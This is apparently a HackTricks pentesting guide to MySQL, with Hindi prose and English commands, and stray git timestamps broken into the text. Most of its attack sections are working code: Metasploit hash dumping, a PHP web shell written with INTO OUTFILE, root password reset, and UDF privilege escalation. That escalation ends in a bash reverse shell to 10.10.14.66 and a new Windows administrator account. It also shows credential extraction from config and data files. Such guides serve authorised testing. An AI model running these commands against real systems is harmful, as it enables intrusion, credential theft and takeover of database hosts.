2024-07-19 11:47:32 +00:00
# 3306 - Pentesting Mysql
2022-04-28 16:01:33 +00:00
2024-07-19 11:47:32 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:47:32 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 11:47:32 +00:00
< summary > Support HackTricks< / summary >
2024-02-08 23:20:46 +00:00
2024-07-19 11:47:32 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 11:47:32 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-07-19 11:47:32 +00:00
[**RootedCON** ](https://www.rootedcon.com/ ) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-07-19 11:47:32 +00:00
## **Basic Information**
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
**MySQL** को एक ओपन सोर्स **रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS)** के रूप में वर्णित किया जा सकता है जो बिना किसी लागत के उपलब्ध है। यह **संरचित क्वेरी भाषा (SQL)** पर काम करता है, जो डेटाबेस के प्रबंधन और हेरफेर की अनुमति देता है।
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
**डिफ़ॉल्ट पोर्ट:** 3306
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
3306/tcp open mysql
```
2023-11-06 08:38:02 +00:00
## **कनेक्ट**
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
### **स्थानीय**
2020-07-15 15:43:14 +00:00
```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
2024-07-19 11:47:32 +00:00
### दूरस्थ
2023-11-06 08:38:02 +00:00
```bash
mysql -h < Hostname > -u root
mysql -h < Hostname > -u root@localhost
```
2024-07-19 11:47:32 +00:00
## External Enumeration
2023-11-06 08:38:02 +00:00
2024-07-19 11:47:32 +00:00
कुछ एन्यूमरेशन क्रियाएँ मान्य क्रेडेंशियल्स की आवश्यकता होती हैं
2020-07-15 15:43:14 +00:00
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 < IP >
msf> use auxiliary/scanner/mysql/mysql_version
2021-03-11 19:59:32 +00:00
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
2023-11-06 08:38:02 +00:00
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
2020-07-15 15:43:14 +00:00
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
2024-07-19 11:47:32 +00:00
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
### कोई भी बाइनरी डेटा लिखें
2020-07-15 15:43:14 +00:00
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
2024-07-19 11:47:32 +00:00
## **MySQL कमांड**
2020-07-15 15:43:14 +00:00
```bash
show databases;
use < database > ;
2023-03-22 09:46:34 +00:00
connect < database > ;
2020-07-15 15:43:14 +00:00
show tables;
describe < table_name > ;
2022-10-02 21:10:53 +00:00
show columns from < table > ;
2020-07-15 15:43:14 +00:00
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
2022-05-11 19:00:10 +00:00
#Get a shell with the mysql client user
2020-07-15 15:43:14 +00:00
\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="< TABLE NAME > "
#Read & Write
2022-10-03 00:11:21 +00:00
## Yo need FILE privilege to read & write to files.
2020-07-15 15:43:14 +00:00
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?> ",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
2020-11-04 22:09:50 +00:00
mysql -u root -h 127.0.0.1 -e 'show databases;'
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:47:32 +00:00
### MySQL अनुमतियों की गणना
2022-10-08 17:31:10 +00:00
```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
2022-12-21 22:55:15 +00:00
# Get users, permissions & hashes
SELECT * FROM mysql.user;
2022-10-08 17:31:10 +00:00
#From DB
2023-11-06 08:38:02 +00:00
select * from mysql.user where user='root';
2022-10-08 17:31:10 +00:00
## Get users with file_priv
2022-12-21 19:36:44 +00:00
select user,file_priv from mysql.user where file_priv='Y';
2022-10-08 17:31:10 +00:00
## Get users with Super_priv
2022-12-21 19:36:44 +00:00
select user,Super_priv from mysql.user where Super_priv='Y';
2022-10-08 17:31:10 +00:00
# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
2022-12-21 22:55:15 +00:00
#@ Functions not from sys. db
2022-12-23 06:41:52 +00:00
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
2022-10-08 17:31:10 +00:00
```
2024-07-19 11:47:32 +00:00
आप दस्तावेज़ों में प्रत्येक विशेषाधिकार का अर्थ देख सकते हैं: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html ](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute )
2023-11-06 08:38:02 +00:00
### MySQL फ़ाइल RCE
2022-10-08 17:31:10 +00:00
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md ](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md )
{% endcontent-ref %}
2024-07-19 11:47:32 +00:00
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए छेड़छाड़ कर सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।** \
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
2020-07-15 15:43:14 +00:00
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
2024-07-19 11:47:32 +00:00
(शब्द "local" पर ध्यान दें)\
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
2020-07-15 15:43:14 +00:00
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
2024-02-08 23:20:46 +00:00
**प्रारंभिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server** ](https://github.com/allyshka/Rogue-MySql-Server )\
2024-07-19 11:47:32 +00:00
**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाना है:** [**https://paper.seebug.org/1113/** ](https://paper.seebug.org/1113/ )\
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/** ](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ )
2020-07-15 15:43:14 +00:00
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-07-19 11:47:32 +00:00
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-05-01 13:25:53 +00:00
## POST
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
### Mysql उपयोगकर्ता
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
यदि mysql **रूट** के रूप में चल रहा है तो यह बहुत दिलचस्प होगा:
2020-07-15 15:43:14 +00:00
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
2022-05-11 19:00:10 +00:00
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:47:32 +00:00
#### mysqld.cnf के खतरनाक सेटिंग्स
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
2024-02-08 23:20:46 +00:00
2024-07-19 11:47:32 +00:00
* **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
* **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
* **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
* **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
* **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा शामिल होता है।
* **`secure_file_priv`** के साथ, डेटा आयात और निर्यात संचालन के दायरे को सुरक्षा बढ़ाने के लिए सीमित किया गया है।
2022-10-02 21:10:53 +00:00
2024-07-19 11:47:32 +00:00
### विशेषाधिकार वृद्धि
2022-05-11 19:00:10 +00:00
```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
2022-12-21 22:55:15 +00:00
# Get users, permissions & creds
SELECT * FROM mysql.user;
2022-05-11 19:00:10 +00:00
mysql -u root --password=< PASSWORD > -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
2024-07-19 11:47:32 +00:00
### Privilege Escalation via library
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है।
2022-05-11 19:00:10 +00:00
2024-07-19 11:47:32 +00:00
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर ** `locate "*lib_mysqludf_sys*"` ** करके पाई जा सकती है। ** `.so` ** फ़ाइलें **linux** लाइब्रेरी हैं और ** `.dll` ** **Windows** की हैं, वह चुनें जो आपको चाहिए।
2022-05-11 19:00:10 +00:00
2024-07-19 11:47:32 +00:00
यदि आपके पास वे लाइब्रेरी **नहीं हैं** , तो आप या तो **उनकी तलाश कर सकते हैं** , या इस [**linux C कोड** ](https://www.exploit-db.com/exploits/1518 ) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें** :
2022-05-11 19:00:10 +00:00
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
2024-07-19 11:47:32 +00:00
अब जब आपके पास लाइब्रेरी है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
2022-05-11 19:00:10 +00:00
2024-07-19 11:47:32 +00:00
#### Linux
2020-07-15 15:43:14 +00:00
```sql
2022-05-11 19:00:10 +00:00
# Use a database
2020-07-15 15:43:14 +00:00
use mysql;
2022-05-11 19:00:10 +00:00
# Create a table to load the library and move it to the plugins dir
2020-07-15 15:43:14 +00:00
create table npn(line blob);
2022-05-11 19:00:10 +00:00
# Load the binary library inside the table
## You might need to change the path and file name
2020-07-15 15:43:14 +00:00
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
2022-05-11 19:00:10 +00:00
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
2020-07-15 15:43:14 +00:00
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
2022-05-11 19:00:10 +00:00
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
2020-07-15 15:43:14 +00:00
```
2024-07-19 11:47:32 +00:00
#### विंडोज
2020-07-15 15:43:14 +00:00
```sql
2022-05-11 19:00:10 +00:00
# CHech the linux comments for more indications
2020-07-15 15:43:14 +00:00
USE mysql;
CREATE TABLE npn(line blob);
2023-03-22 09:46:34 +00:00
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
2022-05-11 19:00:10 +00:00
show variables like '%plugin%';
2020-07-15 15:43:14 +00:00
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
2024-07-19 11:47:32 +00:00
### Extracting MySQL credentials from files
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
/_/etc/mysql/debian.cnf_ के अंदर आप उपयोगकर्ता **debian-sys-maint** का **सादा-पाठ पासवर्ड** पा सकते हैं
2020-07-15 15:43:14 +00:00
```bash
cat /etc/mysql/debian.cnf
```
2024-07-19 11:47:32 +00:00
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं** ।
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_।
2024-02-09 11:16:10 +00:00
आप इन्हें निकाल सकते हैं:
2020-07-15 15:43:14 +00:00
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
2023-11-06 08:38:02 +00:00
### लॉगिंग सक्षम करना
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
आप `/etc/mysql/my.cnf` के अंदर mysql क्वेरीज़ का लॉगिंग सक्षम कर सकते हैं निम्नलिखित लाइनों को अनकमेंट करके:
2020-07-15 15:43:14 +00:00
2024-07-19 11:47:32 +00:00
![](< .. / . gitbook / assets / image ( 899 ) . png > )
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
### उपयोगी फ़ाइलें
2020-07-15 15:43:14 +00:00
2023-11-06 08:38:02 +00:00
कॉन्फ़िगरेशन फ़ाइलें
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
* windows \*
2023-11-06 08:38:02 +00:00
* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
2024-07-19 11:47:32 +00:00
* कमांड इतिहास
2023-11-06 08:38:02 +00:00
* \~/.mysql.history
* लॉग फ़ाइलें
* connections.log
* update.log
* common.log
2024-02-08 23:20:46 +00:00
## डिफ़ॉल्ट MySQL डेटाबेस/टेबल
2020-09-16 22:27:27 +00:00
{% tabs %}
2021-10-18 11:21:18 +00:00
{% tab title="information_schema" %}
2022-05-01 13:25:53 +00:00
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
2021-10-18 11:21:18 +00:00
COLLATIONS\
2022-05-01 13:25:53 +00:00
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
2021-10-18 11:21:18 +00:00
COLUMNS\
2022-05-01 13:25:53 +00:00
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
2021-10-18 11:21:18 +00:00
ENGINES\
EVENTS\
FILES\
2022-05-01 13:25:53 +00:00
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
2021-10-18 11:21:18 +00:00
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
2022-05-01 13:25:53 +00:00
REFERENTIAL\_CONSTRAINTS\
2021-10-18 11:21:18 +00:00
ROUTINES\
SCHEMATA\
2022-05-01 13:25:53 +00:00
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
2021-10-18 11:21:18 +00:00
STATISTICS\
2022-05-01 13:25:53 +00:00
SYSTEM\_VARIABLES\
2021-10-18 11:21:18 +00:00
TABLES\
TABLESPACES\
2022-05-01 13:25:53 +00:00
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
2021-10-18 11:21:18 +00:00
TRIGGERS\
2022-05-01 13:25:53 +00:00
USER\_PRIVILEGES\
2021-10-18 11:21:18 +00:00
VIEWS\
2022-05-01 13:25:53 +00:00
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
2020-09-16 22:27:27 +00:00
{% endtab %}
{% tab title="mysql" %}
2022-05-01 13:25:53 +00:00
columns\_priv\
column\_stats\
2021-10-18 11:21:18 +00:00
db\
2022-05-01 13:25:53 +00:00
engine\_cost\
2021-10-18 11:21:18 +00:00
event\
func\
2022-05-01 13:25:53 +00:00
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
2021-10-18 11:21:18 +00:00
host\
2022-05-01 13:25:53 +00:00
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
2021-10-18 11:21:18 +00:00
plugin\
proc\
2022-05-01 13:25:53 +00:00
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
2021-10-18 11:21:18 +00:00
servers\
2022-05-01 13:25:53 +00:00
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
2020-09-16 22:27:27 +00:00
user
{% endtab %}
2021-10-18 11:21:18 +00:00
{% tab title="performance_schema" %}
accounts\
2022-05-01 13:25:53 +00:00
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
2021-10-18 11:21:18 +00:00
hosts\
2022-05-01 13:25:53 +00:00
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
2021-10-18 11:21:18 +00:00
threads\
2022-05-01 13:25:53 +00:00
user\_variables\_by\_thread\
2021-10-18 11:21:18 +00:00
users\
2022-05-01 13:25:53 +00:00
variables\_by\_thread
2020-09-16 22:27:27 +00:00
{% endtab %}
{% tab title="sys" %}
2022-05-01 13:25:53 +00:00
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
2021-10-18 11:21:18 +00:00
metrics\
processlist\
2022-05-01 13:25:53 +00:00
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
schema\_table\_statistics\
schema\_table\_statistics\_with\_buffer\
schema\_tables\_with\_full\_table\_scans\
schema\_unused\_indexes\
2021-10-18 11:21:18 +00:00
session\
2022-05-01 13:25:53 +00:00
session\_ssl\_status\
statement\_analysis\
statements\_with\_errors\_or\_warnings\
statements\_with\_full\_table\_scans\
statements\_with\_runtimes\_in\_95th\_percentile\
statements\_with\_sorting\
statements\_with\_temp\_tables\
sys\_config\
user\_summary\
user\_summary\_by\_file\_io\
user\_summary\_by\_file\_io\_type\
user\_summary\_by\_stages\
user\_summary\_by\_statement\_latency\
user\_summary\_by\_statement\_type\
2021-10-18 11:21:18 +00:00
version\
2022-05-01 13:25:53 +00:00
wait\_classes\_global\_by\_avg\_latency\
wait\_classes\_global\_by\_latency\
waits\_by\_host\_by\_latency\
waits\_by\_user\_by\_latency\
waits\_global\_by\_latency\
x$host\_summary\
x$host\_summary\_by\_file\_io\
x$host\_summary\_by\_file\_io\_type\
x$host\_summary\_by\_stages\
x$host\_summary\_by\_statement\_latency\
x$host\_summary\_by\_statement\_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb\_buffer\_stats\_by\_table\
x$innodb\_lock\_waits\
x$io\_by\_thread\_by\_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io\_global\_by\_file\_by\_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io\_global\_by\_wait\_by\_latency\
x$latest\_file\_io\
x$memory\_by\_host\_by\_current\_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory\_by\_user\_by\_current\_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory\_global\_total\
2021-10-18 11:21:18 +00:00
x$processlist\
2022-05-01 13:25:53 +00:00
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps\_schema\_table\_statistics\_io\
x$schema\_flattened\_keys\
x$schema\_index\_statistics\
x$schema\_table\_lock\_waits\
x$schema\_table\_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema\_tables\_with\_full\_table\_scans\
2021-10-18 11:21:18 +00:00
x$session\
2022-05-01 13:25:53 +00:00
x$statement\_analysis\
